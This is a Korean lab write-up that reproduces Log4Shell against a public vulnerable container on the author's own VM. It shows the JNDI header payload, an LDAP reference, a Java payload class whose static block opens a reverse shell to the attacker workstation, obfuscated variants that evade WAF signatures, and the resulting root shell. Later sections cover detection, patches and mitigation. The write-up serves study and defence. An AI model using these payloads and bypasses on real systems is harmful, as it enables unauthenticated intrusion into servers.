Log4j 2.x의 메시지 치환 기능이 JNDI 조회로 이어지고, 조작된 LDAP 응답이 서버에서 임의 코드를 실행시키는 전체 흐름을 Docker + Metasploit으로 직접 재현한 실습 기록. JNDI payload 한 줄이 root 쉘로 바뀌는 과정을 단계별로 확인했다.
lookup() 은 원격에서 Java 오브젝트를 가져올 수 있다. 그리고 가져온 오브젝트는 로드되는 순간 초기화 코드가 실행된다.
이 두 가지가 합쳐지면
로그 입력값: ${jndi:ldap://attacker.com/exploit}Log4j 처리 흐름:1. "${jndi:ldap://...}" 패턴 감지2. JNDI lookup() 호출3. 공격자 LDAP 서버에 요청4. 공격자가 조작된 Java 클래스 경로 반환5. 서버가 해당 클래스 다운로드 + 로드6. 클래스 초기화 코드 실행 → 임의 명령 실행
인증 필요 없다. 방화벽 안쪽 서버도 아웃바운드가 가능하면 된다. 로그에 찍히는 모든 사용자 입력값이 잠재적인 공격 벡터다 — User-Agent, Referer, 쿠키, 파라미터, 폼 데이터 전부.
왜 Java 8u191 미만에서만 동작하나
Java 8u191, 11.0.1 이후로 원격 코드베이스(codebase) 로딩을 기본 차단했다(com.sun.jndi.ldap.object.trustURLCodebase = false). 이 패치 이전 버전에서는 LDAP 서버가 임의 URL의 Java 클래스를 로드하도록 지시할 수 있었다.
이번 실습에서 사용하는 컨테이너의 Java 버전은 OpenJDK 1.8.0_181 — 딱 취약한 버전이다(3-1의 java -version 캡처). 8u191 이상이었다면 원격 클래스 로딩이 막혀 아래 체인의 마지막 단계가 실패한다.
3. 실습 환경 구성
3-1. 토폴로지 — Kali 타깃 + 로컬 공격 워크스테이션
재현은 타깃과 공격자를 분리했다. 취약 앱은 격리된 Kali VM(Tailscale 100.82.133.123)에서 돌리고, 공격은 로컬 워크스테이션(100.84.130.6)에서 한다. 이렇게 하면 스크린샷에 원격 IP가 찍혀 self-RCE 오해가 없고, 리얼 셸 캡처가 로컬 zsh를 그대로 담는다.
구성
위치
주소
역할
취약 앱(log4j 2.14.1)
Kali VM
100.82.133.123:8080
표적
공격 워크스테이션
로컬
100.84.130.6
LDAP·HTTP·리스너·트리거
사용한 이미지는 ghcr.io/christophetd/log4shell-vulnerable-app — Log4Shell 재현용 Spring Boot 앱으로, X-Api-Version 헤더 값을 Log4j로 로깅한다. Kali에 기동하고 상태를 확인한다.
ssh kali "docker run -d --name l4s -p 0.0.0.0:8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app"ssh kali "docker ps --filter name=l4s --format \"table {{.Names}}\t{{.Image}}\t{{.Ports}}\"; echo; docker exec l4s java -version 2>&1 | head -1"
컨테이너 JDK가 1.8.0_181인 게 핵심이다 — 8u191 미만이라 com.sun.jndi.ldap.object.trustURLCodebase가 기본 true이고, 뒤에서 볼 원격 클래스 로딩이 그대로 된다. 취약 근거 3종(log4j-core 버전·취약 sink 로거·JDK)을 한 번에 확인한다.
# 실행 jar 안의 log4j-core 버전, 헤더를 로깅하는 sink 로거, 컨테이너 JDKssh kali 'docker exec l4s sh -c "unzip -l /app/spring-boot-application.jar | grep -oE \"log4j-core-[0-9.]+\.jar\""'ssh kali 'docker logs l4s | grep -o "HelloWorld .*: Received a request for API version"'ssh kali 'docker exec l4s java -version'
정상 요청은 400, X-Api-Version 헤더를 실으면 200이다 — 이 헤더 값이 곧 log4j가 기록하는 문자열이다. JNDI 페이로드를 실어도(아직 발화 전) 200으로 받아들여 로그로 남긴다.
#!/usr/bin/env bash# recon.sh — 헤더 없으면 400, X-Api-Version 헤더를 주면 로그로 남는다(200).BASE="${1:-http://100.82.133.123:8080}"echo "[*] target = ${BASE}"echoecho "[+] 헤더 없이 (베이스라인)"curl -s -o /dev/null -w ' GET / (no header) -> HTTP %{http_code}\n' "${BASE}/"echoecho "[+] X-Api-Version 헤더를 주면 (앱이 이 값을 log4j 로 기록)"curl -s -o /dev/null -w ' GET / -H "X-Api-Version: 1.2.3" -> HTTP %{http_code}\n' "${BASE}/" -H 'X-Api-Version: 1.2.3'echoecho "[+] JNDI 페이로드를 헤더에 실으면 (아직 발화 전, 응답 코드만)"curl -s -o /dev/null -w ' GET / -H "X-Api-Version: \${jndi:ldap://...}" -> HTTP %{http_code}\n' \ "${BASE}/" -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/x}'
bash recon.sh http://100.82.133.123:8080
타깃 핑거프린트 — 400/200 대조. 헤더 값이 곧 log4j로 흘러가는 입력이다
4. 공격 도구: 자체 JNDI 익스플로잇
Metasploit의 log4shell_header_injection 모듈이 하는 일을 그대로 손으로 만들었다 — 최소 LDAP 서버 + HTTP 클래스 서버 + 리버스 셸 리스너를 한 스크립트에 담고, 순수 표준 라이브러리(+javac)만 쓴다. 핵심은 원격에서 로딩될 페이로드 클래스다. JNDI가 이 클래스를 http://<우리>/Exploit.class에서 받아 인스턴스화하면 정적 초기화 블록이 실행되는데, 여기에 명령 루프형 리버스 셸을 넣었다(대상이 Alpine busybox라 대화형 sh 대신 명령별 sh -c 실행으로 안정화).
sed -n -e 6,33p Exploit.java
원격 로딩되는 페이로드 — static 블록이 곧 실행 지점이다. 명령을 받아 sh -c로 돌리고 출력을 소켓으로 회수
log4shell_exploit.py가 이 Exploit.java를 javac --release 8로 컴파일(대상 JVM 8과 호환)해 HTTP로 서빙하고, 최소 LDAP 서버가 조회에 다음 JNDI 레퍼런스로 답한다.
objectClass: javaNamingReferencejavaClassName: ExploitjavaCodeBase: http://100.84.130.6:8899/ # 우리 HTTP 서버javaFactory: Exploit
"이 객체는 저 HTTP 주소에서 Exploit.class를 받아 초기화하라"는 지시다. trustURLCodebase=true(JDK 8u181)라 대상이 그대로 따른다.
컴파일된 산출물을 javap로 뜯어 보면, 원격 로딩되는 클래스의 static {}가 곧 실행 지점임이 드러난다 — JNDI가 인스턴스화하는 순간 run()이 불린다.
컴파일된 페이로드 구조 — static {}가 run()을 부른다. JNDI가 이 클래스를 로딩·초기화하는 순간이 곧 코드 실행 시점이다
5. 실제 공격
로컬 공격 워크스테이션에서 스크립트 하나를 실행하면 ①Exploit.class 컴파일 ②HTTP·LDAP 서버 기동 ③리버스 셸 리스너 대기 ④X-Api-Version 헤더로 JNDI 페이로드 발사 ⑤잡은 셸에 --drive 명령을 흘려 transcript 출력까지 한 번에 이뤄진다. 리버스 셸·LDAP·HTTP 포트는 캡처 전 임시로 열었다(끝나면 제거).
sudo ufw allow in on tailscale0 to any port 1389 proto tcp # LDAPsudo ufw allow in on tailscale0 to any port 8899 proto tcp # HTTP(class)sudo ufw allow in on tailscale0 to any port 4444 proto tcp # 리버스 셸python3 log4shell_exploit.py --lhost 100.84.130.6 --lport 4444 --http-port 8899 --ldap-port 1389 \ --trigger http://100.82.133.123:8080/ \ --drive "id" "hostname" "uname -a" "cat /etc/os-release | head -2"
HTTP 헤더 한 줄 → LDAP 조회 → 원격 클래스 로딩 → 리버스 셸. id는 uid=0(root), uname은 kali-amd64(타깃=Kali VM)
한 화면에 체인 전부가 담긴다 — LDAP 조회 수신, GET /Exploit.class HTTP/1.1 200(대상이 우리 클래스를 받아감), 셸 획득(100.82.133.123), 그리고 id → uid=0(root). uname -a의 kali-amd64가 타깃이 Kali VM임을, /etc/os-release의 Alpine이 취약 컨테이너임을 보여준다. Spring Boot 앱이 root로 돌고 있었으니, HTTP 헤더 한 줄이 원격 root 코드 실행으로 이어졌다.
5-2. 셸 획득 이후 — 후속 정찰
한 번 열린 셸은 --drive로 명령을 흘려 그대로 굴린다. 먼저 앱 디렉토리와 프로세스를 본다. PID 1이 java -jar /app/spring-boot-application.jar — 웹 서버 프로세스 자체가 우리 셸의 부모다.
// Exploit.class 의 정적 초기화 — 로드되는 순간 실행된다static { run(); }static void run() { java.net.Socket s = new java.net.Socket("100.84.130.6", 4444); // 소켓에서 한 줄씩 명령을 받아 sh -c 로 실행, 출력을 되돌려준다 ...}
클래스가 로드되면서 static 블록이 실행되고, 우리 리스너로 역방향 셸이 들어온다.
이 여섯 단계가 실제로 한 번에 흐르는 화면이 5절의 익스플로잇 캡처다 — LDAP 조회 수신, GET /Exploit.class 200, 셸 획득, uid=0(root)까지.
7. 로그 확인: 서버 측에서 무슨 흔적이 남나
공격이 성공한 뒤 Kali의 컨테이너 로그를 확인했다. payload가 그대로 INFO 로그에 남고, 그 아래로 log4j의 JNDI lookup 콜스택(JndiLookup.lookup → JndiManager.lookup → ldapURLContext.lookup)이 찍힌다.
ssh kali "docker logs l4s 2>&1 | grep -iE \"Received a request for API version|jndi|ldap.Connection\" | tail -6"
서버 로그에 그대로 남은 JNDI payload와 log4j의 JndiLookup→LDAP lookup 콜스택 — 공격이자 곧 증거다
payload가 그대로 로그에 남아 있다. 서버 입장에서는 이게 "로그를 남기는 행위"였다 — 공격당하면서 동시에 증거를 남긴 셈이다. 콜스택의 org.apache.logging.log4j.core.lookup.JndiLookup.lookup이 바로 취약 지점이다.
방어자 시그니처 — 무엇을 봐야 하나
탐지 관점에서 세 겹의 신호가 남는다. ① 요청 로그의 ${jndi:...} 문자열, ② log4j가 실제로 lookup을 수행한 콜스택(JndiLookup.lookup + com.sun.jndi.ldap.*), ③ 공격자 서버로 나간 아웃바운드 LDAP URL.
# ① 요청 로그의 JNDI 페이로드ssh kali 'docker logs l4s 2>&1 | grep "Received a request for API version" | grep jndi | tail -1'# ② 실제 lookup 콜스택 (원문 문자열이 아니라 호출 흔적)ssh kali 'docker logs l4s 2>&1 | grep -oE "org.apache.logging.log4j.core.lookup.JndiLookup.lookup|com.sun.jndi.ldap.[A-Za-z]+" | sort -u | head -4'# ③ 아웃바운드 LDAP 연결 시도ssh kali 'docker logs l4s 2>&1 | grep -oE "ldap://[0-9.]+:[0-9]+/Exploit" | tail -1'
방어자들이 초기에 가장 고생한 게 탐지다. ${jndi:ldap:// 문자열만 막으면 될 것 같지만, Log4j의 룩업 중첩이 이걸 무력화했다. 룩업은 재귀적으로 평가되므로, 공격자는 페이로드를 조각내 숨길 수 있었다.
${jndi:ldap://attacker/a} ← 순진한 시그니처가 잡는 형태${${lower:j}ndi:${lower:l}dap://attacker/a} ← lower 룩업으로 글자를 재조립${${::-j}${::-n}${::-d}${::-i}:ldap://...} ← 기본값(:-) 트릭으로 한 글자씩${jndi:${lower:l}${lower:d}a${lower:p}://...} ← 부분 난독화
이 넷은 모두 같은 jndi:ldap 로 평가된다. 그래서 단순 문자열 매칭은 우회됐고, 방어는 "${ 와 jndi(및 그 조립 가능성)"를 폭넓게 보거나, 애초에 JNDI 룩업 기능 자체를 끄는(2.16의 방향) 쪽으로 갈 수밖에 없었다. "신호를 문자열로 잡으려는" 시도가 왜 근본이 아닌지를 이 변종들이 보여준다.
8. 왜 이게 이렇게 위험했나
왜 CVSS 10.0인가
Log4Shell의 점수는 만점인 10.0이다. 벡터 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H에 감점 요소가 없다.
지표
값
뜻
AV / AC
Network / Low
로그에 남을 문자열 한 줄이면
PR / UI
None / None
인증도, 피해자 개입도 없이
S (스코프)
Changed
로깅 라이브러리를 넘어 호스트 전체로
C / I / A
High / High / High
완전 장악
분류는 CWE-20(부적절한 입력 검증) 계열이며, 실질은 JNDI 주입을 통한 원격 클래스 로딩이다.
노출 규모 — 왜 "인터넷의 절반"이었나
Log4j는 자바 생태계에서 가장 널리 쓰이는 로깅 라이브러리다. 문제는 취약 코드가 애플리케이션 코드가 아니라 그 아래 깔린 공통 의존성에 있었다는 점이다. 직접 쓰지 않아도 프레임워크·미들웨어·SaaS가 끌어다 쓰면 함께 취약해진다. 그래서 CISA는 이를 KEV에 올리며 "지난 10년간 가장 심각한 취약점 중 하나"로 규정했고, 패치 대상이 무엇인지조차 파악하기 어려운 의존성 가시성이 대응을 지연시켰다. "내가 안 썼다"가 안전을 보장하지 못한 대표 사례다.
이때 조직들이 배운 교훈이 SBOM(Software Bill of Materials) 의 필요성이다. "우리 시스템 어디에 log4j-core 2.x가 깔려 있나"를 몇 시간 안에 답할 수 있는 곳과, 몇 주를 헤맨 곳이 갈렸다. 방어의 첫걸음은 페이로드 차단이 아니라 자산·의존성 인벤토리였다는 것 — 이후 SBOM이 공급망 보안의 기본 요구사항으로 자리 잡고, 미국 행정명령·각국 규제가 소프트웨어 자재명세서를 요구하게 된 결정적 계기가 바로 이 Log4Shell 사태였다.
한 번에 안 끝난 패치 — 2.15 → 2.16 → 2.17
Log4Shell이 특히 힘들었던 또 다른 이유는 첫 패치가 완전하지 않았다는 데 있다. 대응이 세 번에 걸쳐 나왔다.
버전
CVE
무엇이 남았나
2.15.0
(44228 완화)
메시지 룩업 기본 비활성·JNDI를 localhost로 제한 — 그러나 특정 비기본 설정에서 우회 가능
2.16.0
CVE-2021-45046
우회로 DoS·정보유출(일부 환경에서 RCE) — 메시지 룩업 기능 자체를 제거
2.17.0
CVE-2021-45105
재귀적 룩업 평가로 인한 무한 재귀 DoS 차단
"완화(mitigation)"와 "제거(removal)"는 다르다. 2.15는 JNDI 룩업을 제한했지만, 기능이 남아 있는 한 우회 여지가 있었다. 2.16이 되어서야 메시지 룩업을 아예 걷어냈다. 방어자 입장에선 "패치했다"는 보고가 세 번 갱신되는 동안 자산을 다시 훑어야 했다 — 이 글의 다른 사례들이 말하는 "denylist/완화보다 기능 제거·신뢰 경계가 근본"이라는 교훈과 정확히 같은 지점이다.
"단순 문자열"이 실행으로
일반적으로 로그에 문자열을 남기는 건 안전하다고 생각한다. logger.info("요청: " + input) — 뭐가 문제일까?
Log4j는 이 문자열을 단순히 저장하는 게 아니라 파싱했다. 메시지 치환 기능이 있었고, JNDI 조회가 그 기능 중 하나였다. 개발자가 의도한 기능이 공격 벡터가 됐다.
인증이 없다
X-Api-Version: ${jndi:ldap://...} — 이게 전부다. 로그인 필요 없다. 유저 계정 필요 없다. 어떤 HTTP 헤더든, 어떤 입력이든 Log4j가 로깅하는 곳이면 다 된다. User-Agent도 된다. Referer도 된다. 쿼리 파라미터도 된다.
Java가 클래스를 로드한다
취약점의 핵심은 Log4j가 아니라 Java의 JNDI + 원격 클래스 로딩 기능이다. Log4j는 그걸 트리거하는 입구였다. JNDI는 설계상 원격에서 코드를 로드할 수 있었고, 그게 악용됐다. Java 8u191에서 trustURLCodebase 기본값이 바뀐 이유가 여기 있다.
노출 범위가 어마어마했다
Log4j는 Apache, VMware, Cisco, Elastic, Minecraft 등 수천 개 제품에 들어가 있었다. 특히 빌드 도구가 의존성으로 알아서 가져다 쓰기 때문에 개발팀이 Log4j를 쓰는지조차 모르는 경우도 많았다.
이 완화가 실제로 막는지 같은 랩에서 확인했다. 완화 플래그를 켠 컨테이너(:8081)를 하나 더 띄우고, 동일한 페이로드를 취약본(:8080)과 완화본에 나란히 던진다.
# 완화본 기동: 같은 이미지에 formatMsgNoLookups 만 켠다ssh kali 'docker run -d --name l4s-mit -p 0.0.0.0:8081:8080 -e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" ghcr.io/christophetd/log4shell-vulnerable-app'bash patch_compare.sh # 취약 8080 vs 완화 8081 동일 페이로드
동일 페이로드, 다른 설정. 취약본은 root 셸, 완화본은 lookup 자체가 발생하지 않아(콜스택 22→0) 차단된다
취약본은 uid=0(root)를 내주고, 완화본은 셸이 붙지 않는다. 서버 로그의 실제 lookup 콜스택 수도 22 대 0 — formatMsgNoLookups=true가 메시지 룩업 평가 자체를 꺼서, JNDI 조회가 시작조차 안 한다.
9-3. WAF 규칙
${jndi: 패턴을 포함하는 요청 차단. 완전한 해결책은 아니지만 (인코딩 우회 가능) 1차 방어로 쓸 수 있다.
9-4. 아웃바운드 네트워크 제한
서버에서 외부 LDAP(389, 636), RMI(1099) 포트 아웃바운드를 차단하면 RCE 성공하기 어려워진다. 단, DNS lookup 기반 탐지(OOB)는 여전히 가능.
10. 재현 요약과 정리
전체 체인은 reproduce.sh 하나로 자동 증명된다 — 공개 취약 이미지를 로컬에 띄우고, Exploit.java+log4shell_exploit.py로 원격에서 유일 마커를 실행하게 한 뒤, 그 마커와 uid가 회수되는지로 PASS를 판정한다(거짓 PASS 불가).
bash reproduce.sh
자체 완결 재현 — 공개 이미지 + Exploit.java + log4shell_exploit.py 만으로 마커(L4S_...)와 uid=0(root)를 회수, 무인증 RCE를 PASS로 증명
실습이 끝나면 타깃 컨테이너를 반드시 내리고, 캡처용으로 열었던 임시 방화벽 규칙도 회수한다. 취약 서버가 계속 떠 있으면 노출 위험이 있다.
ssh kali "docker rm -f l4s" # Kali 타깃 컨테이너 제거sudo ufw delete allow in on tailscale0 to any port 1389 proto tcpsudo ufw delete allow in on tailscale0 to any port 8899 proto tcpsudo ufw delete allow in on tailscale0 to any port 4444 proto tcpssh kali "docker ps | grep l4s || echo 'no l4s container'" # 없는 것 확인
전체 체인은 log4shell_exploit.py(자체 JNDI 익스플로잇)와 Exploit.java(페이로드) 두 파일이면 다시 재현된다 — 취약 앱은 공개 이미지(ghcr.io/christophetd/log4shell-vulnerable-app)를 그대로 쓴다.
마무리
Log4Shell을 이렇게 정리하고 보면, 이게 왜 2021년 말에 그렇게 난리가 났는지 이해가 된다.
취약점 자체가 복잡한 게 아니었다. 문자열을 로그에 남기는 행위가 원격 코드 실행으로 이어진다는 것, 그리고 그게 인증 없이, 어떤 입력 필드에서든 발생한다는 것. 실습해보기 전까지는 "심각하다"는 말만 읽었는데, HTTP 헤더 한 줄로 uid=0(root) 를 받는 순간 뭔가 달라진다.
직접 환경 구성하고, UFW 막혀서 삽질하고, JNDI 로그 확인하면서 취약점이 어떻게 동작하는지 체감했다. 이 흐름을 이해하면 단순히 "Log4j 업데이트하세요"를 넘어서, 왜 아웃바운드 네트워크 차단이 방어가 되는지, 왜 trustURLCodebase 패치가 의미 있었는지도 이해된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…